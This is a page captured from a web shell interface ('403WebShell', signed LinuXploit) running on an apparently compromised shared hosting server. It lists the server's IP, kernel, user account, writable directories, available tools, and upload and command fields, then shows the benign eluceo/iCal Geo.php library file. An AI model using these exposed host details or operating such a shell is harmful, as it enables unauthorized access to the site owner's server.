Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.191.120.103
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/vendor/eluceo/ical/src/Property/Event/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/vendor/eluceo/ical/src/Property/Event/Geo.php
<?php

/*
 * This file is part of the eluceo/iCal package.
 *
 * (c) Markus Poerschke <markus@eluceo.de>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Eluceo\iCal\Property\Event;

use Eluceo\iCal\Property;

/**
 * GEO property.
 *
 * @see https://tools.ietf.org/html/rfc5545#section-3.8.1.6
 */
class Geo extends Property
{
    /**
     * @var float
     */
    private $latitude;

    /**
     * @var float
     */
    private $longitude;

    public function __construct(float $latitude, float $longitude)
    {
        $this->latitude = $latitude;
        $this->longitude = $longitude;

        if ($this->latitude < -90 || $this->latitude > 90) {
            throw new \InvalidArgumentException(
                "The geographical latitude must be a value between -90 and 90 degrees. '{$this->latitude}' was given."
            );
        }

        if ($this->longitude < -180 || $this->longitude > 180) {
            throw new \InvalidArgumentException(
                "The geographical longitude must be a value between -180 and 180 degrees. '{$this->longitude}' was given."
            );
        }

        parent::__construct('GEO', new Property\RawStringValue($this->getGeoLocationAsString()));
    }

    /**
     * @deprecated This method is used to allow backwards compatibility for Event::setLocation
     *
     * @param string $geoLocationString
     *
     * @return Geo
     */
    public static function fromString(string $geoLocationString): self
    {
        $geoLocationString = str_replace(',', ';', $geoLocationString);
        $geoLocationString = str_replace('GEO:', '', $geoLocationString);
        $parts = explode(';', $geoLocationString);

        return new static((float) $parts[0], (float) $parts[1]);
    }

    /**
     * Returns the coordinates as a string.
     *
     * @example 37.386013;-122.082932
     *
     * @param string $separator
     *
     * @return string
     */
    public function getGeoLocationAsString(string $separator = ';'): string
    {
        return number_format($this->latitude, 6) . $separator . number_format($this->longitude, 6);
    }

    /**
     * @return float
     */
    public function getLatitude(): float
    {
        return $this->latitude;
    }

    /**
     * @return float
     */
    public function getLongitude(): float
    {
        return $this->longitude;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit